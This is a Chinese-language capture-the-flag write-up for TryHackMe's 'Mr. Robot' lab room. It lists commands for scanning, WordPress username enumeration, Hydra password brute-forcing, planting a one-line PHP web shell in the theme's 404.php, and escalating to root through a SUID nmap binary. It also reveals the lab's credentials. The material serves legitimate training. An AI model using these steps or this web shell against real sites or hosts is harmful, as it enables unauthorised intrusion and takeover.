TryHackMe Mr. Robot writeup (zh-TW)
題目資訊
- 平台: TryHackMe
- 房間名稱: Mr. Robot
- 難度: Medium
- 目標: 收集三把 key
- 主題: Mr. Robot 影集主題
- 連結: https://tryhackme.com/room/mrrobot
發現服務
rustscan -a 10.201.110.68 -b 2000 -t 2000 -- -A -sV -sC
- Port 22: SSH (OpenSSH 8.2p1 Ubuntu)
- Port 80: HTTP (Apache)
- Port 443: HTTPS (Apache)
Step 1: 目錄枚舉&初步偵察
檢查 robots.txt:
curl http://10.201.110.68/robots.txt
重要發現:
key-1-of-3.txt- 第一把 keyfsocity.dic- 字典檔案(下載備用)
wget http://10.201.110.68/fsocity.dic
發現隱藏管理頁面和 WordPress:
gobuster dir -u http://10.201.110.68/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 5
/admin/index.html - ASCII art "YOU ARE NOT ALONE" 這其實就是首頁的樣子
/wp-login.php - WordPress 登入頁面Step 3: WordPress 偵察
使用 WPScan 掃描:
wpscan --url http://10.201.110.68
發現:
- WordPress 4.3.1 (Insecure, 2015-09-15)
- Theme: twentyfifteen 1.3
- XML-RPC 啟用
Step 4: 枚舉 WordPress 用戶
清理字典檔(去除重複):
sort fsocity.dic | uniq > fsocity_clean.dic
使用 Burp Suite Intruder 測試用戶名,觀察錯誤訊息差異:
Invalid username- 用戶不存在The password you entered for...- 用戶存在
發現有效用戶名:elliot
Step 5: 爆破 WordPress 密碼
使用 Burp Suite Intruder同樣用同一個字典fsocity_clean.dic爆破密碼
或也可以,使用 Hydra 爆破密碼:
hydra -l elliot -P fsocity_clean.dic 10.201.110.68 http-post-form \
"/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=incorrect" -t 30
成功憑證:
- 用戶名:
elliot - 密碼:
ER28-0652
Step 6: WordPress 後台植入 Webshell
登入 WordPress 後台,修改主題編輯器:
Appearance → Editor → 404.php
植入 PHP reverse shell:
<?php echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; ?>
隨機到網站的一個頁面觸發404,好比aaa,詳細比如:
http://10.201.110.68/aaa?cmd=ls
http://10.201.110.68/aaa?cmd=whoami
成功取得 www-data shell
Step 7: 發現第二把 Key
探索 /home/robot 目錄:
www-data@ip-10-201-110-68:~$ ls -la /home/robot
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
讀取 MD5 hash:
www-data@ip-10-201-110-68:~$ cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
Step 8: 破解 MD5
直接在Google查詢這個hash
破解結果:abcdefghijklmnopqrstuvwxyz (簡單密碼)
Step 9: 切換到 robot 用戶
使用 SSH 登入:
ssh [email protected]
# 密碼: [破解的明文密碼]
升級受限 shell:
/bin/bash
取得第二把 key:
robot@ip-10-201-110-68:~$ cat key-2-of-3.txt
Redacted
Step 10: 提權到 Root
尋找 SUID 二進制文件:
find / -perm -4000 -type f 2>/dev/null
發現可疑項目:/usr/local/bin/nmap
Step 11: Nmap SUID 提權
利用舊版 nmap 的 interactive 模式:
robot@ip-10-201-110-68:~$ nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# whoami
root
取得第三把 key:
root@ip-10-201-110-68:/root# cat key-3-of-3.txt
Redacted
技術要點
字典檔去重
- fsocity.dic 含大量重複項,去重降至 11K 行
- 大幅提升爆破效率
WordPress 錯誤訊息差異
- 利用登入錯誤訊息差異枚舉有效用戶名
- 避免盲目爆破所有帳密組合
Theme Editor RCE
- WordPress 管理員可直接編輯主題 PHP 文件
- 404.php 是常見注入點,訪問不存在頁面即可觸發
Nmap Interactive Mode 提權
- Nmap 3.81 版本支援
--interactive模式 - 若有 SUID 權限,可直接用
!sh產生 root shell - 現代版本已移除此功能
Member discussion